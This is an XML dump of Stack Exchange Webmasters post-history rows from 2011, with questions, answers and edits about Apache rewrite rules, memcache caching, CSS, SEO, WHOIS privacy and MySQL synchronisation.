  <row Id="39624" PostHistoryTypeId="25" PostId="16583" RevisionGUID="d349c2a0-7271-47c7-81a0-349900522626" CreationDate="2011-07-09T00:28:15.787" Comment="http://twitter.com/#!/StackWebmasters/status/89491016033386496" />
  <row Id="39625" PostHistoryTypeId="17" PostId="16606" RevisionGUID="85eca8df-3057-4a67-8fe7-8eae339712ce" CreationDate="2011-07-09T00:42:51.280" UserId="-1" Comment="from http://serverfault.com/questions/132253/file-does-not-exist-in-apache-error-log" Text="" />
  <row Id="39626" PostHistoryTypeId="17" PostId="16607" RevisionGUID="375a4245-e34c-4e25-acba-a8d46bdbe6a2" CreationDate="2011-07-09T00:42:51.280" UserId="-1" Comment="from http://serverfault.com/questions/132253/file-does-not-exist-in-apache-error-log" Text="" />
  <row Id="39627" PostHistoryTypeId="17" PostId="16608" RevisionGUID="2ac63a41-9cf9-4691-80c7-b978b060d952" CreationDate="2011-07-09T00:42:51.280" UserId="-1" Comment="from http://serverfault.com/questions/132253/file-does-not-exist-in-apache-error-log" Text="" />
  <row Id="39628" PostHistoryTypeId="17" PostId="16609" RevisionGUID="c52c24c5-173e-43ee-85cb-2281c0c14ea4" CreationDate="2011-07-09T00:42:51.280" UserId="-1" Comment="from http://serverfault.com/questions/132253/file-does-not-exist-in-apache-error-log" Text="" />
  <row Id="39629" PostHistoryTypeId="17" PostId="16610" RevisionGUID="67eec414-1bec-470c-a703-7ee5dcf0ffda" CreationDate="2011-07-09T00:42:51.280" UserId="-1" Comment="from http://serverfault.com/questions/132253/file-does-not-exist-in-apache-error-log" Text="" />
  <row Id="39630" PostHistoryTypeId="2" PostId="16607" RevisionGUID="5f8d04c1-b3c3-4fe8-a357-f8ce420273cf" CreationDate="2010-04-14T13:01:33.447" UserDisplayName="Alistair Prestidge" Text="Been a while since I used Apache or wrote any Rewrite Rules, but are trying to match any number of A-Za-z and - do you not need to escape the last - &quot;\-&quot;&#xD;&#xA;&#xD;&#xA;or is the last - doing something special I would guess that's your problem if your trying to match -'s&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# ITEM&#xD;&#xA;RewriteRule ^([A-Za-z-]+)/([A-Za-z-]+)/([A-Za-z0-9-]+)/?$ store_focus.php?sex=$1catName=$2&amp;permalink=$3 [NC,L]&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="39631" PostHistoryTypeId="2" PostId="16608" RevisionGUID="37c36caf-afc5-45d2-a2bf-2c8ec1063b53" CreationDate="2010-04-14T20:14:53.403" UserDisplayName="Dan Andreatta" Text="You are trying to match a path that starts with a letter or number, but it starts with a '/'. Your rules should be something like&#xD;&#xA;&#xD;&#xA;    RewriteRule ^/([A-Za-z0-9-])/...$      ...&#xD;&#xA;&#xD;&#xA;Alos, do you have access to the logs? If so, enable the logs for mog_rewrite&#xD;&#xA;&#xD;&#xA;    RewriteLog /some/path&#xD;&#xA;    RewriteLogLevel 3" />
  <row Id="39632" PostHistoryTypeId="2" PostId="16609" RevisionGUID="0a5a24c3-453b-494c-9a32-24b4b809b73b" CreationDate="2010-05-16T06:49:12.923" UserDisplayName="Mathieu" Text="I have the same problem. A work-around is to create the directory that is reported to be missing.&#xD;&#xA;&#xD;&#xA;    mkdir /var/www/website/female&#xD;&#xA;&#xD;&#xA;Once it gets past the directory check, the RewriteRule will probably work. It's a mystery to me why it first checks the existence of the directory." />
  <row Id="39633" PostHistoryTypeId="2" PostId="16610" RevisionGUID="1586f6f8-3780-4d48-981f-c309a08e113d" CreationDate="2011-02-20T14:09:10.653" UserDisplayName="mivk" Text="If your Rewrite rules are in an .htaccess file, you need to have at least&#xD;&#xA;&#xD;&#xA;    AllowOverride FileInfo&#xD;&#xA;&#xD;&#xA;in your apache configuration.&#xD;&#xA;&#xD;&#xA;And you also need to have&#xD;&#xA;&#xD;&#xA;    Options FollowSymLinks&#xD;&#xA;&#xD;&#xA;If your server configuration has&#xD;&#xA;&#xD;&#xA;    AllowOverride FileInfo Options&#xD;&#xA;&#xD;&#xA;(or AllowOverride All) then you can also add Options FollowSymlinks to the .htaccess file.&#xD;&#xA;" />
  <row Id="39634" PostHistoryTypeId="2" PostId="16606" RevisionGUID="1cbffe72-3862-43b6-a5af-52fe5913c3a4" CreationDate="2010-04-14T10:16:02.700" UserDisplayName="Samuurai" Text="This is an example of an error in out log file:&#xD;&#xA;&#xD;&#xA;     File does not exist: /var/www/website/female, referer: http://www.website.com/female/dresses/A-Dress-Black&#xD;&#xA;&#xD;&#xA;&quot;/female&quot; doesn't exist, because we use friendly urls via our .htaccess file which looks like this:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On # Turn on the rewriting engine&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteCond %{http_host} !^www.website.com$ [nc]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.website.com/$1 [r=301,nc,L]&#xD;&#xA;    RewriteRule ^News/?$ news.php [NC,L]&#xD;&#xA;    RewriteRule ^About/?$ about.php [NC,L]&#xD;&#xA;    RewriteRule ^Contact/?$ contact.php [NC,L]&#xD;&#xA;    RewriteRule ^Sign-In/Create-Account?$ sign_up_in.php [NC,L]&#xD;&#xA;    RewriteRule ^Logout?$ sign_up_in.php?l=1 [NC,L]&#xD;&#xA;    RewriteRule ^Your-Bag?$ your_bag.php [NC,L]&#xD;&#xA;    RewriteRule ^Help?$ help.php [NC,L]&#xD;&#xA;    RewriteRule ^Profile?$ profile.php [NC,L]&#xD;&#xA;    RewriteRule ^Create-Profile?$ profile_create.php [NC,L]&#xD;&#xA;    # ITEM&#xD;&#xA;    RewriteRule ^([A-Za-z-]+)/([A-Za-z-]+)/([A-Za-z0-9-]+)/?$ store_focus.php?sex=$1catName=$2&amp;permalink=$3 [NC,L]&#xD;&#xA;    # PAGE&#xD;&#xA;    RewriteRule ^([A-Za-z-]+)/([A-Za-z-]+)/page/([0-9]+)/?$ store.php?sex=$1&amp;catName=$2&amp;page=$3 [NC,L]&#xD;&#xA;    # CATEGORY&#xD;&#xA;    RewriteRule ^([A-Za-z-]+)/([A-Za-z-]+)/?$ store.php?sex=$1&amp;catName=$2 [NC,L]&#xD;&#xA;    # SEX&#xD;&#xA;    RewriteRule ^([A-Za-z-]+)/?$ store.php?sex=$1 [NC,L]&#xD;&#xA;&#xD;&#xA;Every request for a page results in an error even though the site works fine. Has anyone encountered this before?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;Beren" />
  <row Id="39635" PostHistoryTypeId="1" PostId="16606" RevisionGUID="1cbffe72-3862-43b6-a5af-52fe5913c3a4" CreationDate="2010-04-14T10:16:02.700" UserDisplayName="Samuurai" Text="&quot;File does not exist&quot; in apache error log." />
  <row Id="39636" PostHistoryTypeId="3" PostId="16606" RevisionGUID="1cbffe72-3862-43b6-a5af-52fe5913c3a4" CreationDate="2010-04-14T10:16:02.700" UserDisplayName="Samuurai" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="39637" PostHistoryTypeId="5" PostId="16598" RevisionGUID="00ec9400-ff5d-4508-be86-06860ddd4ce8" CreationDate="2011-07-09T03:20:14.147" UserId="4502" Comment="This is actually about changefreq, not priority." Text="What happens if I set the change frequency of a page to daily and don't update it daily? Will this make search engine blacklist my site? What is the accepted changefreq to balance search indexing ?" />
  <row Id="39638" PostHistoryTypeId="6" PostId="16598" RevisionGUID="00ec9400-ff5d-4508-be86-06860ddd4ce8" CreationDate="2011-07-09T03:20:14.147" UserId="4502" Comment="This is actually about changefreq, not priority." Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="39639" PostHistoryTypeId="4" PostId="16598" RevisionGUID="00ec9400-ff5d-4508-be86-06860ddd4ce8" CreationDate="2011-07-09T03:20:14.147" UserId="4502" Comment="This is actually about changefreq, not priority." Text="sitemap xml file change frequency of web pages" />
  <row Id="39640" PostHistoryTypeId="5" PostId="16600" RevisionGUID="55d27011-0257-44a9-bcd6-49d8cb7422fe" CreationDate="2011-07-09T03:23:24.323" UserId="8864" Comment="edited the formatting issues" Text="I am working in Silverlight and Orchard cms.&#xD;&#xA;&#xD;&#xA;I read something about [google keywords][1] and [website improvements][2]. &#xD;&#xA;&#xD;&#xA;I wonder if there is no way to have a good page rank by using [Silverlight][3] without makeing huge extra work. &#xD;&#xA;And I wonder if you think it is really needed to make own Sarch [engines][4] [Tag clouds][5] and dynamic content. &#xD;&#xA;&#xD;&#xA;How to you work? And how much do you think &quot;a lot of visitors&quot; are more important instead of extra google programming.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=34432&amp;topic=8524&#xD;&#xA;  [2]: http://google.about.com/od/searchengineoptimization/qt/improverank.htm&#xD;&#xA;  [3]: http://msdn.microsoft.com/en-us/bb187358&#xD;&#xA;  [4]: http://www.goldengel.ch/forum/forum.aspx?&amp;kategorieid=9998&amp;parentid=1&amp;childid=1&amp;tis=0#childid_1&#xD;&#xA;  [5]: h**p://en.wikipedia.org/wiki/Tag_cloud" />
  <row Id="39641" PostHistoryTypeId="24" PostId="16600" RevisionGUID="55d27011-0257-44a9-bcd6-49d8cb7422fe" CreationDate="2011-07-09T03:23:24.323" Comment="Proposed by 8864 approved by 4502 edit id of 431" />
  <row Id="39642" PostHistoryTypeId="25" PostId="16600" RevisionGUID="d0e2a9c6-9ae1-4016-bdd9-90d85c859f2a" CreationDate="2011-07-09T03:29:02.413" Comment="http://twitter.com/#!/StackWebmasters/status/89536509295865856" />
  <row Id="39644" PostHistoryTypeId="19" PostId="4575" RevisionGUID="c1487398-a347-45d8-8752-d52b0c5ffe42" CreationDate="2011-07-09T04:10:54.473" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="39645" PostHistoryTypeId="5" PostId="16600" RevisionGUID="f44f99b7-667a-48e4-a9a9-509ae5e85262" CreationDate="2011-07-09T05:03:12.970" UserId="1253" Comment="modified tags, improved title, improved grammar, removed discussion-based questions" Text="I am working in Silverlight and Orchard cms.&#xD;&#xA;&#xD;&#xA;I read something about [google keywords][1] and [website improvements][2]. &#xD;&#xA;&#xD;&#xA;I wonder if there is no way to have a good page rank by using [Silverlight][3] without making a lot of extra work. Is it really necessary to make own tag clouds and dynamic content? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=34432&amp;topic=8524&#xD;&#xA;  [2]: http://google.about.com/od/searchengineoptimization/qt/improverank.htm&#xD;&#xA;  [3]: http://msdn.microsoft.com/en-us/bb187358" />
  <row Id="39646" PostHistoryTypeId="4" PostId="16600" RevisionGUID="f44f99b7-667a-48e4-a9a9-509ae5e85262" CreationDate="2011-07-09T05:03:12.970" UserId="1253" Comment="modified tags, improved title, improved grammar, removed discussion-based questions" Text="Improve my Silverlight CMS' ranking in Google" />
  <row Id="39647" PostHistoryTypeId="6" PostId="16600" RevisionGUID="f44f99b7-667a-48e4-a9a9-509ae5e85262" CreationDate="2011-07-09T05:03:12.970" UserId="1253" Comment="modified tags, improved title, improved grammar, removed discussion-based questions" Text="&lt;google&gt;&lt;page-ranking&gt;&lt;silverlight&gt;" />
  <row Id="39648" PostHistoryTypeId="5" PostId="16602" RevisionGUID="84ecef43-82fd-4ab4-b53f-bb1f9a9d4ca5" CreationDate="2011-07-09T05:07:01.327" UserId="1253" Comment="modified tags, improved grammar, fixed question" Text="I have a Drupal (pressflow 6.22) website and I am using memcache as a caching level for my website/server. Sometimes some node (articles) that has been published on my website shows empty content when viewed with Internet Explorer. The same node is displayed fine in all other browsers (Firefox, Chrome, Safari).&#xD;&#xA;&#xD;&#xA;When I&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ telnet 127.0.0.1&#xD;&#xA;Trying 127.0.0.1...&#xD;&#xA;Connected to 127.0.0.1.&#xD;&#xA;Escape character is '^]'.&#xD;&#xA;flush_all&#xD;&#xA;OK&#xD;&#xA;quit&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;and refresh the page in Internet Explorer, it is displayed properly (which means there is a caching problem for this node with internet explorer). Has anybody faced the same issue? " />
  <row Id="39649" PostHistoryTypeId="4" PostId="16602" RevisionGUID="84ecef43-82fd-4ab4-b53f-bb1f9a9d4ca5" CreationDate="2011-07-09T05:07:01.327" UserId="1253" Comment="modified tags, improved grammar, fixed question" Text="Internet explorer shows empty content because of memcache" />
  <row Id="39650" PostHistoryTypeId="6" PostId="16602" RevisionGUID="84ecef43-82fd-4ab4-b53f-bb1f9a9d4ca5" CreationDate="2011-07-09T05:07:01.327" UserId="1253" Comment="modified tags, improved grammar, fixed question" Text="&lt;drupal&gt;&lt;internet-explorer&gt;&lt;memcache&gt;" />
  <row Id="39652" PostHistoryTypeId="4" PostId="16598" RevisionGUID="025e32eb-6393-4feb-b3fe-cab1ac37eaea" CreationDate="2011-07-09T05:12:52.447" UserId="1253" Comment="improved title" Text="Will an incorrect change frequency in my XML sitemap harm my website?" />
  <row Id="39653" PostHistoryTypeId="25" PostId="16589" RevisionGUID="c8e3886f-c5a4-4c10-820b-ca046dbf2957" CreationDate="2011-07-09T06:29:02.913" Comment="http://twitter.com/#!/StackWebmasters/status/89581811583287297" />
  <row Id="39655" PostHistoryTypeId="5" PostId="16596" RevisionGUID="9fd7543a-11f1-4d37-850b-e6e7986177c9" CreationDate="2011-07-09T08:11:41.170" UserId="8867" Comment="added 2 characters in body" Text="I am publishing python code on some website that is CMS. I have a python script that reads any python script and makes a syntax-colored HTML out of it. Then I copy/paste this HTML into the CMS editing window.&#xD;&#xA;&#xD;&#xA;The problem is that my python syntax highlighting script uses `&lt;pre&gt;` tag to keep tabs/spaces which are quite important in python. The CMS however for some reasons that are unclear for me removes any `&lt;pre&gt;` tag. Admin told me that I should use `&lt;div&gt;` instead of `&lt;pre&gt;`. Could you help me styling a `&lt;div&gt;` to keep the wihte-space formatting? " />
  <row Id="39656" PostHistoryTypeId="25" PostId="16582" RevisionGUID="bfc3b4f8-f59d-44da-85ca-ae42b4f59856" CreationDate="2011-07-09T09:29:02.383" Comment="http://twitter.com/#!/StackWebmasters/status/89627108074209280" />
  <row Id="39657" PostHistoryTypeId="2" PostId="16612" RevisionGUID="2b7fe7bc-cb81-4306-83ae-4a06393b9c63" CreationDate="2011-07-09T12:09:34.843" UserId="8263" Text="I'm looking for a solution with which I would be able to synchronize, upon request, a selection of tables between a live mysql database with a local database.&#xD;&#xA;If there is no specific solution to this, what would be a good solution for synchronizing local and live databases?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your help " />
  <row Id="39658" PostHistoryTypeId="1" PostId="16612" RevisionGUID="2b7fe7bc-cb81-4306-83ae-4a06393b9c63" CreationDate="2011-07-09T12:09:34.843" UserId="8263" Text="(partial) database synchronization with mysql" />
  <row Id="39659" PostHistoryTypeId="3" PostId="16612" RevisionGUID="2b7fe7bc-cb81-4306-83ae-4a06393b9c63" CreationDate="2011-07-09T12:09:34.843" UserId="8263" Text="&lt;mysql&gt;&lt;database&gt;" />
  <row Id="39660" PostHistoryTypeId="25" PostId="16598" RevisionGUID="50e0b24c-7695-422b-ba6f-d8abb461788b" CreationDate="2011-07-09T12:29:02.813" Comment="http://twitter.com/#!/StackWebmasters/status/89672406087630848" />
  <row Id="39661" PostHistoryTypeId="2" PostId="16613" RevisionGUID="610fe7b3-ba20-4699-9596-33237488e78d" CreationDate="2011-07-09T12:58:56.693" UserId="1803" Text="To format a `DIV` like an `PRE`, you need a `white-space: pre;` for the `DIV`. Additionally you should use a monospace font, as stated in the first answer.&#xD;&#xA;&#xD;&#xA;The solution `white-space: nowrap;` is not right as it does NOT display tabs and still will collapse multiple spaces (@John Conde).&#xD;&#xA;&#xD;&#xA; - `nowrap`:&#xD;&#xA;   Specifying nowrap ensures that&#xD;&#xA;   sequences of whitespace will collapse&#xD;&#xA;   into a single space character, but&#xD;&#xA;   line breaks will be suppressed.&#xD;&#xA; - `pre`:&#xD;&#xA;   Specifying pre ensures that sequences&#xD;&#xA;   of whitespace won’t collapse. Lines&#xD;&#xA;   are only broken at new lines in the&#xD;&#xA;   markup (or at occurrences of &quot;\a&quot; in&#xD;&#xA;   generated content).&#xD;&#xA;&#xD;&#xA;from: http://reference.sitepoint.com/css/white-space" />
  <row Id="39662" PostHistoryTypeId="2" PostId="16614" RevisionGUID="6d875b68-ecfa-4f8b-ba35-641d1e427864" CreationDate="2011-07-09T14:00:20.430" UserId="8875" Text="Is it possible to setup a website anonymously?&#xD;&#xA;&#xD;&#xA;I want to setup a domain and hosting but I don't want people to be able to track it back to me.&#xD;&#xA;&#xD;&#xA;Is this possible? / What are my options?&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;&#xD;&#xA;I want to be able to use PHP and some SQL db. So it cannot be static" />
  <row Id="39663" PostHistoryTypeId="1" PostId="16614" RevisionGUID="6d875b68-ecfa-4f8b-ba35-641d1e427864" CreationDate="2011-07-09T14:00:20.430" UserId="8875" Text="Anonymous website" />
  <row Id="39664" PostHistoryTypeId="3" PostId="16614" RevisionGUID="6d875b68-ecfa-4f8b-ba35-641d1e427864" CreationDate="2011-07-09T14:00:20.430" UserId="8875" Text="&lt;websites&gt;&lt;security&gt;" />
  <row Id="39665" PostHistoryTypeId="2" PostId="16615" RevisionGUID="a24e0549-5f44-4333-bbdb-7b8bf26c84a7" CreationDate="2011-07-09T14:09:29.300" UserId="8864" Text="You could do this with [Godaddy Private domain registration][1], if you for some reason don't want the whois information to be public. Also once you register your domain, it can point to any server from the DNS administration, which will allow you to use any host you want&#xD;&#xA;&#xD;&#xA;&gt; [Domain privacy][2] is a service offered by a number of domain name registrars. A user buys privacy from the company, who in turn replaces the user's info in the WHOIS with the info of a forwarding service (for email and sometimes postal mail, done by a proxy server) such as &quot;Domains by Proxy, Inc.&quot; or eNom's &quot;Whois Privacy Protection Service&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/domainaddon/private-registration.aspx?ci=9002&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Domain_privacy" />
  <row Id="39666" PostHistoryTypeId="5" PostId="16602" RevisionGUID="506406a2-4a46-4698-93f2-f91a842412a1" CreationDate="2011-07-09T14:44:50.127" UserId="8873" Comment="added 6 characters in body" Text="I have a Drupal (pressflow 6.22) website and I am using memcache as a caching level for my website/server. Sometimes some node (articles) that has been published on my website shows empty content when viewed with Internet Explorer. The same node is displayed fine in all other browsers (Firefox, Chrome, Safari).&#xD;&#xA;&#xD;&#xA;When I&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ telnet 127.0.0.1 11211&#xD;&#xA;Trying 127.0.0.1...&#xD;&#xA;Connected to 127.0.0.1.&#xD;&#xA;Escape character is '^]'.&#xD;&#xA;flush_all&#xD;&#xA;OK&#xD;&#xA;quit&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;and refresh the page in Internet Explorer, it is displayed properly (which means there is a caching problem for this node with internet explorer). Has anybody faced the same issue? " />
  <row Id="39667" PostHistoryTypeId="2" PostId="16616" RevisionGUID="b3a45147-9127-4618-9368-1980ee317f25" CreationDate="2011-07-09T15:12:41.850" UserId="8687" Text="I started writing that using a virtul guest for testing would be good, then changed my mind. Your designing in windows then you have to transfer the files to the local guest virtual server for viewing and testing but you want to be able to view in your windows browser. It's just far more complex than it needs to be to setup. While it is possible it just seems more work than you need to do.&#xD;&#xA;&#xD;&#xA;Instead, install an ubuntu server as a guest on windows or as a dual boot. Do your editing in the ubuntu guest and save the files there without transferring form host to guest virtual server. Also you can run firefox and chrome within the unbuntu system allowing you to test them there. You only need to shift things about then to test in windows.&#xD;&#xA;&#xD;&#xA;Since your are making php apps, I would guess that you don't really need Dreamweaver. Some other editor could do. Personally I use Bluefish in Ubuntu. However if your really are wed to Dreamweaver then you can get that running in Ubuntu using Wine. That way all your design work will be made and tested in one system without any file transfers other than to FTP to the live server. Since your using Ubuntu in a virtual box, you can jump back to windows for your other essential application when you need to." />
  <row Id="39668" PostHistoryTypeId="25" PostId="16612" RevisionGUID="d7f58249-bf62-43e4-836f-9a3e7d43382e" CreationDate="2011-07-09T15:29:03.563" Comment="http://twitter.com/#!/StackWebmasters/status/89717707875946496" />
  <row Id="39670" PostHistoryTypeId="5" PostId="16597" RevisionGUID="8423a08f-a021-4cd3-89d6-d048eb7de30e" CreationDate="2011-07-09T15:45:56.987" UserId="1253" Comment="deleted 4 characters in body" Text="You can do that with the CSS `white-space` rule:&#xD;&#xA;&#xD;&#xA;    div&#xD;&#xA;    {&#xD;&#xA;      font-family: &quot;Courier New&quot;, monospace;&#xD;&#xA;      white-space: pre;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The fonts included in that rule make each character the same width which is common formatting for text in a `&lt;pre&gt;` tag.&#xD;&#xA;&#xD;&#xA;Keep in mind that this will make all of your `&lt;div&gt;` tags behave this way. Ideally you will assign those `&lt;div&gt;` tags a class to affect only the ones you want to mimic `&lt;pre&gt;`. Something like:&#xD;&#xA;&#xD;&#xA;    div.code&#xD;&#xA;    {&#xD;&#xA;      font-family: &quot;Courier New&quot;, monospace;&#xD;&#xA;      white-space: pre;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or, better yet, use the `&lt;code&gt;` tag if it isn't stripped out by your CMS. It acts like the `&lt;pre&gt;` tag but is semantically correct for displaying code." />
  <row Id="39671" PostHistoryTypeId="2" PostId="16617" RevisionGUID="b7745fcb-2100-4fe0-b3db-b71564ca5d35" CreationDate="2011-07-09T15:52:29.913" UserId="1253" Text="There is no way to be 100% anonymous. Even if your personal information is hidden through private registration it is still captured by the registrar and your web host. You can make it slightly more difficult by using private registration and using companies outside of the US but you information is always available if someone wants it bad enough." />
  <row Id="39672" PostHistoryTypeId="5" PostId="16612" RevisionGUID="8af914eb-c193-4330-abd8-fc08bfebe27a" CreationDate="2011-07-09T15:54:25.933" UserId="1253" Comment="modified title, minor text edits" Text="I'm looking for a solution with which I would be able to synchronize, upon request, a selection of tables between a live mysql database with a local database. If there is no specific solution to this, what would be a good solution for synchronizing local and live databases?" />
  <row Id="39673" PostHistoryTypeId="4" PostId="16612" RevisionGUID="8af914eb-c193-4330-abd8-fc08bfebe27a" CreationDate="2011-07-09T15:54:25.933" UserId="1253" Comment="modified title, minor text edits" Text="(Partial) database synchronization with mysql" />
  <row Id="39674" PostHistoryTypeId="2" PostId="16618" RevisionGUID="ab6a5239-14dd-4fb6-bf27-fd9af977c552" CreationDate="2011-07-09T17:10:08.233" UserId="4625" Text="Can't make sense out of the way Google Maps position their results.&#xD;&#xA;&#xD;&#xA;[Here][1] is my places page, that I'm trying to optimize for the &quot;sprinkler hollywood florida&quot; keywords and appears at the end of 3rd page, and [here][2] is the 4st place for those keywords.&#xD;&#xA;&#xD;&#xA;Their listing in Google places has less information than ours, they have a bad review and we have a good one, their web site is a 1 page web site, our is about 6, our site has more backlinks than theirs. I just can't find anything they could be doing that we are not. &#xD;&#xA;&#xD;&#xA;Maybe just that they have been longer in Google Places. Could this be what makes the difference?&#xD;&#xA;&#xD;&#xA;**Edit:** I just found one other difference that might be _what_ is making the difference. Their domain name includes the word &quot;sprinklers&quot;. Could it be this?&#xD;&#xA;&#xD;&#xA;  [1]: http://maps.google.com/maps/place?hl=en&amp;georestrict=input_srcid:a52d1380b878e3c0&#xD;&#xA;  [2]: http://maps.google.com/maps/place?hl=en&amp;cp=27&amp;gs_id=113&amp;xhr=t&amp;qe=c3ByaW5rbGVyIGhvbGx5d29vZCBmbG9yaWRh&amp;qesig=lPsyq7z-R1l5MzPKfryfkA&amp;pkc=AFgZ2tkujBZOQ4St8yPq8w_7Kmo1f5wqQnk_JH62XjDOvTH61nuzflTH0ADaN8soFXB1BElpWEaK6WnnLAaJGALI0bxhlP8jlg&amp;qscrl=1&amp;bav=on.2,or.r_gc.r_pw.&amp;biw=1024&amp;bih=653&amp;um=1&amp;gl=us&amp;resnum=1&amp;ie=UTF-8&amp;q=sprinkler%20hollywood%20florida&amp;fb=1&amp;gl=us&amp;hq=sprinkler&amp;hnear=0x88d9a96fc7ff31a7:0x7d77abe75b7b868,Hollywood,%20FL&amp;cid=5581816761148416478&amp;ei=HYAYTpW7L8HjsQKPwqzCBw&amp;sa=X&amp;oi=local_result&amp;ct=placepage-link&amp;resnum=4&amp;ved=0CEQQ4gkwAw&#xD;&#xA;  [3]: http://maps.google.com/maps/place?hl=en&amp;cp=27&amp;gs_id=113&amp;xhr=t&amp;qe=c3ByaW5rbGVyIGhvbGx5d29vZCBmbG9yaWRh&amp;qesig=lPsyq7z-R1l5MzPKfryfkA&amp;pkc=AFgZ2tkujBZOQ4St8yPq8w_7Kmo1f5wqQnk_JH62XjDOvTH61nuzflTH0ADaN8soFXB1BElpWEaK6WnnLAaJGALI0bxhlP8jlg&amp;qscrl=1&amp;bav=on.2,or.r_gc.r_pw.&amp;biw=1024&amp;bih=653&amp;um=1&amp;gl=us&amp;resnum=1&amp;ie=UTF-8&amp;q=sprinkler%20hollywood%20florida&amp;fb=1&amp;gl=us&amp;hq=sprinkler&amp;hnear=0x88d9a96fc7ff31a7:0x7d77abe75b7b868,Hollywood,%20FL&amp;cid=5581816761148416478&amp;ei=HYAYTpW7L8HjsQKPwqzCBw&amp;sa=X&amp;oi=local_result&amp;ct=placepage-link&amp;resnum=4&amp;ved=0CEQQ4gkwAw" />
  <row Id="39675" PostHistoryTypeId="1" PostId="16618" RevisionGUID="ab6a5239-14dd-4fb6-bf27-fd9af977c552" CreationDate="2011-07-09T17:10:08.233" UserId="4625" Text="SEO for Google Maps." />
  <row Id="39676" PostHistoryTypeId="3" PostId="16618" RevisionGUID="ab6a5239-14dd-4fb6-bf27-fd9af977c552" CreationDate="2011-07-09T17:10:08.233" UserId="4625" Text="&lt;seo&gt;&lt;local-seo&gt;&lt;google-local-search&gt;" />
  <row Id="39677" PostHistoryTypeId="2" PostId="16619" RevisionGUID="41f6a9e4-2086-4fb1-9440-53878c5b5fca" CreationDate="2011-07-09T17:21:07.480" UserId="1253" Text="There's a lot more to SEO than a Google Places listing or number of pages in a website. There are at least 200 ranking factors and they vary in importance. &#xD;&#xA;&#xD;&#xA;The site that is outranking you *probably* has better quality links then you do. Quantity of backlinks is irrelevant. Quality is what matters. Not to mention you don't know how many backlinks they really have since Google doesn't report all of them on purpose.  &#xD;&#xA;&#xD;&#xA;Their URL structure may be more search engine friendly. This includes having keywords in the domain. Having &quot;sprinklers&quot; in their domain name definitely is helping them out.&#xD;&#xA;&#xD;&#xA;If you want to make sure your pages are optimized you should start with [this question][1] and then continue to do more research on SEO. Especially in this site since there are a lot of SEO questions with good answers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google" />
  <row Id="39678" PostHistoryTypeId="2" PostId="16620" RevisionGUID="f2e03c49-3f70-4114-92b8-8858e46f7bab" CreationDate="2011-07-09T17:58:17.257" UserId="8610" Text="Is there a service to find resellers of a particular registar in case the latter doesn't provide such a list?" />
  <row Id="39679" PostHistoryTypeId="1" PostId="16620" RevisionGUID="f2e03c49-3f70-4114-92b8-8858e46f7bab" CreationDate="2011-07-09T17:58:17.257" UserId="8610" Text="Is there a service to find resellers of a particular registar?" />
  <row Id="39680" PostHistoryTypeId="3" PostId="16620" RevisionGUID="f2e03c49-3f70-4114-92b8-8858e46f7bab" CreationDate="2011-07-09T17:58:17.257" UserId="8610" Text="&lt;domains&gt;&lt;domain-registration&gt;&lt;registrar&gt;&lt;reseller&gt;" />
  <row Id="39681" PostHistoryTypeId="10" PostId="16620" RevisionGUID="95fd2c2b-e3cf-47af-b83c-d00d7306e1ca" CreationDate="2011-07-09T18:02:36.510" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39682" PostHistoryTypeId="2" PostId="16621" RevisionGUID="608191b7-6b07-4093-8895-df5e46f57419" CreationDate="2011-07-09T18:04:19.780" UserId="8610" Text="I'd like to access whois history starting with year 2007 or earlier for free. Domaintools is kind of expensive for my purposes. who.is seems to provide history starting with year 2009 unfortunately." />
  <row Id="39683" PostHistoryTypeId="1" PostId="16621" RevisionGUID="608191b7-6b07-4093-8895-df5e46f57419" CreationDate="2011-07-09T18:04:19.780" UserId="8610" Text="Free whois history service?" />
  <row Id="39684" PostHistoryTypeId="3" PostId="16621" RevisionGUID="608191b7-6b07-4093-8895-df5e46f57419" CreationDate="2011-07-09T18:04:19.780" UserId="8610" Text="&lt;whois&gt;" />
  <row Id="39685" PostHistoryTypeId="10" PostId="16621" RevisionGUID="0ae15afd-bd85-46ab-82fc-58eb78343f98" CreationDate="2011-07-09T18:11:04.193" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39686" PostHistoryTypeId="25" PostId="16618" RevisionGUID="ae3c7794-3953-4489-8f05-a6999aaa8fcb" CreationDate="2011-07-09T18:29:03.720" Comment="http://twitter.com/#!/StackWebmasters/status/89763007818772480" />
  <row Id="39687" PostHistoryTypeId="11" PostId="16620" RevisionGUID="1ac57eca-e001-44a1-9eab-6eecd2a062bf" CreationDate="2011-07-09T19:03:14.537" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
